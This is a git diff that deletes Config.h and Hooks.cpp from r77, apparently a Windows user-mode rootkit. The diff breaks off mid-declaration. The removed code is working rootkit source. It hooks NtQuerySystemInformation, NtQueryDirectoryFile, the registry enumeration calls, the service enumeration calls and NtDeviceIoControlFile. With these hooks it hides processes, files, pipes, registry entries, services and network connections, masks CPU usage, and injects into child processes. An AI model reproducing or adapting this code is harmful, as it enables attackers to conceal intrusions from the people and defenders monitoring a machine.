cdfacb5..0000000 --- a/src/r77/Config.h +++ /dev/null @@ -1,93 +0,0 @@ -/// -/// Global configuration system for r77. -/// -class Config -{ -private: - static HANDLE Thread; - static PR77_CONFIG Configuration; - - static DWORD WINAPI UpdateThread(LPVOID parameter); -public: - /// - /// Initializes the configuration system. - /// - static void Initialize(); - /// - /// Uninitializes the configuration system. - /// - static void Shutdown(); - - /// - /// Determines whether a process should be hidden based on a specific process ID. - /// - /// The process ID to check. - /// - /// true, if the process with the specified ID should be hidden; - /// otherwise, false. - /// - static bool IsProcessIdHidden(DWORD processId); - /// - /// Determines whether a process should be hidden based on a specific name. - /// - /// The process name to check. - /// - /// true, if the process with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsProcessNameHidden(LPCWSTR name); - /// - /// Determines whether a process should be hidden based on a specific name. - /// - /// The process name to check. - /// - /// true, if the process with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsProcessNameHidden(UNICODE_STRING name); - /// - /// Determines whether a file or directory should be hidden based on its full path. - /// - /// The full path to check. - /// - /// true, if the file or directory with the specified full path should be hidden; - /// otherwise, false. - /// - static bool IsPathHidden(LPCWSTR path); - /// - /// Determines whether a service should be hidden based on a specific name. - /// - /// The service name to check. - /// - /// true, if the service with the specified name should be hidden; - /// otherwise, false. - /// - static bool IsServiceNameHidden(LPCWSTR name); - /// - /// Determines whether a local TCP port should be hidden. - /// - /// The TCP port to check. - /// - /// true, if the local TCP port should be hidden; - /// otherwise, false. - /// - static bool IsTcpLocalPortHidden(USHORT port); - /// - /// Determines whether a remote TCP port should be hidden. - /// - /// The TCP port to check. - /// - /// true, if the remote TCP port should be hidden; - /// otherwise, false. - /// - static bool IsTcpRemotePortHidden(USHORT port); - /// - /// Determines whether a UDP port should be hidden. - /// - /// The UDP port to check. - /// - /// true, if the UDP port should be hidden; - /// otherwise, false. - /// - static bool IsUdpPortHidden(USHORT port); -}; \ No newline at end of file diff --git a/src/r77/Hooks.cpp b/src/r77/Hooks.cpp deleted file mode 100644 index 89cddb6..0000000 --- a/src/r77/Hooks.cpp +++ /dev/null @@ -1,661 +0,0 @@ -#include "r77.h" - -bool Hooks::IsInitialized = false; - -nt::NTQUERYSYSTEMINFORMATION Hooks::OriginalNtQuerySystemInformation = NULL; -nt::NTRESUMETHREAD Hooks::OriginalNtResumeThread = NULL; -nt::NTQUERYDIRECTORYFILE Hooks::OriginalNtQueryDirectoryFile = NULL; -nt::NTQUERYDIRECTORYFILEEX Hooks::OriginalNtQueryDirectoryFileEx = NULL; -nt::NTENUMERATEKEY Hooks::OriginalNtEnumerateKey = NULL; -nt::NTENUMERATEVALUEKEY Hooks::OriginalNtEnumerateValueKey = NULL; -nt::ENUMSERVICEGROUPW Hooks::OriginalEnumServiceGroupW = NULL; -nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW = NULL; -nt::ENUMSERVICESSTATUSEXW Hooks::OriginalEnumServicesStatusExW2 = NULL; -nt::NTDEVICEIOCONTROLFILE Hooks::OriginalNtDeviceIoControlFile = NULL; - -void Hooks::Initialize() -{ - if (!IsInitialized) - { - IsInitialized = true; - - DetourTransactionBegin(); - DetourUpdateThread(GetCurrentThread()); - InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); - InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread); - InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); - InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); - InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey); - InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); - InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW); - InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); - InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); - InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); - DetourTransactionCommit(); - - // Usually, ntdll.dll should be the only DLL to hook. - // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected. - // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions. - // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there. - } -} -void Hooks::Shutdown() -{ - if (IsInitialized) - { - IsInitialized = false; - - DetourTransactionBegin(); - DetourUpdateThread(GetCurrentThread()); - UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); - UninstallHook(OriginalNtResumeThread, HookedNtResumeThread); - UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); - UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); - UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey); - UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); - UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW); - UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); - UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); - UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); - DetourTransactionCommit(); - } -} - -void Hooks::InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction) -{ - *originalFunction = GetFunction(dll, function); - if (*originalFunction) DetourAttach(originalFunction, hookedFunction); -} -void Hooks::UninstallHook(LPVOID originalFunction, LPVOID hookedFunction) -{ - if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction); -} - -NTSTATUS NTAPI Hooks::HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength) -{ - // returnLength is important, but it may be NULL, so wrap this value. - ULONG newReturnLength; - NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength); - if (returnLength) *returnLength = newReturnLength; - - if (NT_SUCCESS(status)) - { - // Hide processes - if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation) - { - // Accumulate CPU usage of hidden processes. - LARGE_INTEGER hiddenKernelTime = { 0 }; - LARGE_INTEGER hiddenUserTime = { 0 }; - LONGLONG hiddenCycleTime = 0; - - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName)) - { - hiddenKernelTime.QuadPart += current->KernelTime.QuadPart; - hiddenUserTime.QuadPart += current->UserTime.QuadPart; - hiddenCycleTime += current->CycleTime; - - if (previous) - { - if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset; - else previous->NextEntryOffset = 0; - } - else - { - if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset; - else systemInformation = NULL; - } - } - else - { - previous = current; - } - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - - // Add CPU usage of hidden processes to the System Idle Process. - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (current->ProcessId == 0) - { - current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; - current->UserTime.QuadPart += hiddenUserTime.QuadPart; - current->CycleTime += hiddenCycleTime; - break; - } - - previous = current; - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - } - // Hide CPU usage - else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorPerformanceInformation) - { - // ProcessHacker graph per CPU - LARGE_INTEGER hiddenKernelTime = { 0 }; - LARGE_INTEGER hiddenUserTime = { 0 }; - if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL)) - { - ULONG numberOfProcessors = newReturnLength / sizeof(nt::SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION); - for (ULONG i = 0; i < numberOfProcessors; i++) - { - //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors - nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((nt::PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i]; - performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; - performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; - } - } - } - // Hide CPU usage - else if (systemInformationClass == nt::SYSTEM_INFORMATION_CLASS::SystemProcessorIdleCycleTimeInformation) - { - // ProcessHacker graph for all CPU's - LONGLONG hiddenCycleTime = 0; - if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime)) - { - ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER); - for (ULONG i = 0; i < numberOfProcessors; i++) - { - ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors; - } - } - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtResumeThread(HANDLE thread, PULONG suspendCount) -{ - // Child process hooking: - // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed. - // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called. - // To inject the process, a connection to the r77 service is performed through a named pipe. - // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here. - - DWORD processId = GetProcessIdOfThread(thread); - if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process - { - // This function returns, *after* injection is completed. - HookChildProcess(processId); - } - - return OriginalNtResumeThread(thread, suspendCount); -} -NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan) -{ - NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); - - // Hide files, directories and named pipes - if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation)) - { - LPVOID current = fileInformation; - LPVOID previous = NULL; - ULONG nextEntryOffset; - - WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; - WCHAR fileFileName[MAX_PATH + 1] = { 0 }; - WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; - - if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); - else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); - - do - { - nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); - - if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) - { - if (nextEntryOffset) - { - RtlCopyMemory - ( - current, - (LPBYTE)current + nextEntryOffset, - (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) - ); - continue; - } - else - { - if (current == fileInformation) status = STATUS_NO_MORE_FILES; - else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); - break; - } - } - - previous = current; - current = (LPBYTE)current + nextEntryOffset; - } - while (nextEntryOffset); - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName) -{ - NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); - - // Hide files, directories and named pipes - // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile. - if (NT_SUCCESS(status) && (fileInformationClass == nt::FILE_INFORMATION_CLASS::FileDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation || fileInformationClass == nt::FILE_INFORMATION_CLASS::FileNamesInformation)) - { - WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; - WCHAR fileFileName[MAX_PATH + 1] = { 0 }; - WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; - - if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); - else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); - - if (queryFlags & SL_RETURN_SINGLE_ENTRY) - { - // When returning a single entry, skip until the first item is found that is not hidden. - for (bool skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = Rootkit::HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName)))) - { - status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); - if (status) break; - } - } - else - { - LPVOID current = fileInformation; - LPVOID previous = NULL; - ULONG nextEntryOffset; - - do - { - nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); - - if (Rootkit::HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || Config::IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) - { - if (nextEntryOffset) - { - RtlCopyMemory - ( - current, - (LPBYTE)current + nextEntryOffset, - (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) - ); - continue; - } - else - { - if (current == fileInformation) status = STATUS_NO_MORE_FILES; - else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); - break; - } - } - - previous = current; - current = (LPBYTE)current + nextEntryOffset; - } - while (nextEntryOffset); - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength) -{ - NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength); - - // Implement hiding of registry keys by correcting the index in NtEnumerateKey. - if (status == ERROR_SUCCESS && (keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyBasicInformation || keyInformationClass == nt::KEY_INFORMATION_CLASS::KeyNameInformation)) - { - for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) - { - status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength); - - if (!Rootkit::HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass))) - { - newIndex++; - } - } - } - - return status; -} -NTSTATUS NTAPI Hooks::HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength) -{ - NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); - - // Implement hiding of registry values by correcting the index in NtEnumerateValueKey. - if (status == ERROR_SUCCESS && (keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation || keyValueInformationClass == nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation)) - { - for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) - { - status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); - - if (!Rootkit::HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass))) - { - newIndex++; - } - } - } - - return status; -} -BOOL WINAPI Hooks::HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved) -{ - // services.msc - BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUSW, services, servicesReturned); - } - - return result; -} -BOOL WINAPI Hooks::HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) -{ - // TaskMgr (Windows 7), ProcessHacker - BOOL result = OriginalEnumServicesStatusExW(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned); - } - - return result; -} -BOOL WINAPI Hooks::HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName) -{ - // TaskMgr (Windows 10 uses sechost.dll instead of advapi32.dll) - BOOL result = OriginalEnumServicesStatusExW2(serviceManager, infoLevel, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, groupName); - - if (result && services && servicesReturned) - { - ProcessEnumServices(ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW, services, servicesReturned); - } - - return result; -} -NTSTATUS NTAPI Hooks::HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength) -{ - NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength); - - if (NT_SUCCESS(status)) - { - // Hide TCP and UDP entries - if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(nt::NSI_PARAM)) - { - // Check, if the device is "\Device\Nsi" - BYTE deviceName[100]; - if (NT_SUCCESS(nt::NtQueryObject(fileHandle, nt::OBJECT_INFORMATION_CLASS::ObjectNameInformation, deviceName, 100, NULL)) && - !_wcsnicmp(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer, sizeof(DEVICE_NSI) / sizeof(WCHAR))) - { - nt::PNSI_PARAM nsiParam = (nt::PNSI_PARAM)outputBuffer; - if (nsiParam->Entries && (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp || nsiParam->Type == nt::NSI_PARAM_TYPE::Udp)) - { - // The status and process table may be NULL and must be checked. - nt::PNSI_TCP_ENTRY tcpEntries = (nt::PNSI_TCP_ENTRY)nsiParam->Entries; - nt::PNSI_UDP_ENTRY udpEntries = (nt::PNSI_UDP_ENTRY)nsiParam->Entries; - nt::PNSI_STATUS_ENTRY statusEntries = (nt::PNSI_STATUS_ENTRY)nsiParam->StatusEntries; - nt::PNSI_PROCESS_ENTRY processEntries = (nt::PNSI_PROCESS_ENTRY)nsiParam->ProcessEntries; - - WCHAR processName[MAX_PATH + 1]; - - for (DWORD i = 0; i < nsiParam->Count; i++) - { - processName[0] = L'\0'; - - BOOL hidden = FALSE; - if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp) - { - if (processEntries) GetProcessFileName(processEntries[i].TcpProcessId, FALSE, processName, MAX_PATH); - - hidden = - Config::IsTcpLocalPortHidden(_byteswap_ushort(tcpEntries[i].Local.Port)) || - Config::IsTcpRemotePortHidden(_byteswap_ushort(tcpEntries[i].Remote.Port)) || - processEntries && Config::IsProcessIdHidden(processEntries[i].TcpProcessId) || - Config::IsProcessNameHidden(processName) || - Rootkit::HasPrefix(processName); - } - else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp) - { - if (processEntries) GetProcessFileName(processEntries[i].UdpProcessId, FALSE, processName, MAX_PATH); - - hidden = - Config::IsUdpPortHidden(_byteswap_ushort(udpEntries[i].Port)) || - processEntries && Config::IsProcessIdHidden(processEntries[i].UdpProcessId) || - Config::IsProcessNameHidden(processName) || - Rootkit::HasPrefix(processName); - } - - // If hidden, move all following entries up by one and decrease count. - if (hidden) - { - if (i < nsiParam->Count - 1) - { - if (nsiParam->Type == nt::NSI_PARAM_TYPE::Tcp) - { - RtlMoveMemory(&tcpEntries[i], &tcpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); - } - else if (nsiParam->Type == nt::NSI_PARAM_TYPE::Udp) - { - RtlMoveMemory(&udpEntries[i], &udpEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->EntrySize); - } - - if (statusEntries) RtlMoveMemory(&statusEntries[i], &statusEntries[i + 1], (nsiParam->Count - i - 1) * sizeof(nt::NSI_STATUS_ENTRY)); - if (processEntries) RtlMoveMemory(&processEntries[i], &processEntries[i + 1], (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize); - } - - nsiParam->Count--; - i--; - } - } - } - } - } - } - - return status; -} - -bool Hooks::GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime) -{ - // Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation). - // Task managers call NtQuerySystemInformation(SystemProcessInformation) also, but not necessarily in a matching frequency. - - bool result = false; - LPBYTE systemInformation = new BYTE[1024 * 1024 * 2]; - ULONG returnLength; - - if (NT_SUCCESS(OriginalNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS::SystemProcessInformation, systemInformation, 1024 * 1024 * 2, &returnLength))) - { - if (hiddenKernelTime) hiddenKernelTime->QuadPart = 0; - if (hiddenUserTime) hiddenUserTime->QuadPart = 0; - if (hiddenCycleTime) *hiddenCycleTime = 0; - - for (nt::PSYSTEM_PROCESS_INFORMATION current = (nt::PSYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) - { - if (Rootkit::HasPrefix(current->ImageName) || Config::IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || Config::IsProcessNameHidden(current->ImageName)) - { - if (hiddenKernelTime) hiddenKernelTime->QuadPart += current->KernelTime.QuadPart; - if (hiddenUserTime) hiddenUserTime->QuadPart += current->UserTime.QuadPart; - if (hiddenCycleTime) *hiddenCycleTime += current->CycleTime; - } - - previous = current; - - if (current->NextEntryOffset) current = (nt::PSYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); - else current = NULL; - } - - result = true; - } - - delete[] systemInformation; - return result; -} -LPWSTR Hooks::CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName) -{ - // PathCombineW cannot be used with the directory name "\\.\pipe\". - if (!lstrcmpiW(directoryName, L"\\\\.\\pipe\\")) - { - lstrcpyW(result, directoryName); - lstrcatW(result, fileName); - return result; - } - else - { - return PathCombineW(result, directoryName, fileName); - } -} -LPWSTR Hooks::FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name) -{ - PWCHAR fileName = NULL; - ULONG fileNameLength = 0; - - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - fileName = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - fileName = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - fileName = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - fileName = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - fileName = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->FileNameLength; - break; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - fileName = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileName; - fileNameLength = ((nt::PFILE_NAMES_INFORMATION)fileInformation)->FileNameLength; - break; - } - - if (fileName && fileNameLength > 0) - { - wmemcpy(name, fileName, fileNameLength / sizeof(WCHAR)); - name[fileNameLength / sizeof(WCHAR)] = L'\0'; - return name; - } - else - { - return NULL; - } -} -ULONG Hooks::FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass) -{ - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - return ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - return ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - return ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - return ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - return ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - return ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset; - default: - return 0; - } -} -void Hooks::FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value) -{ - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - } -} -PWCHAR 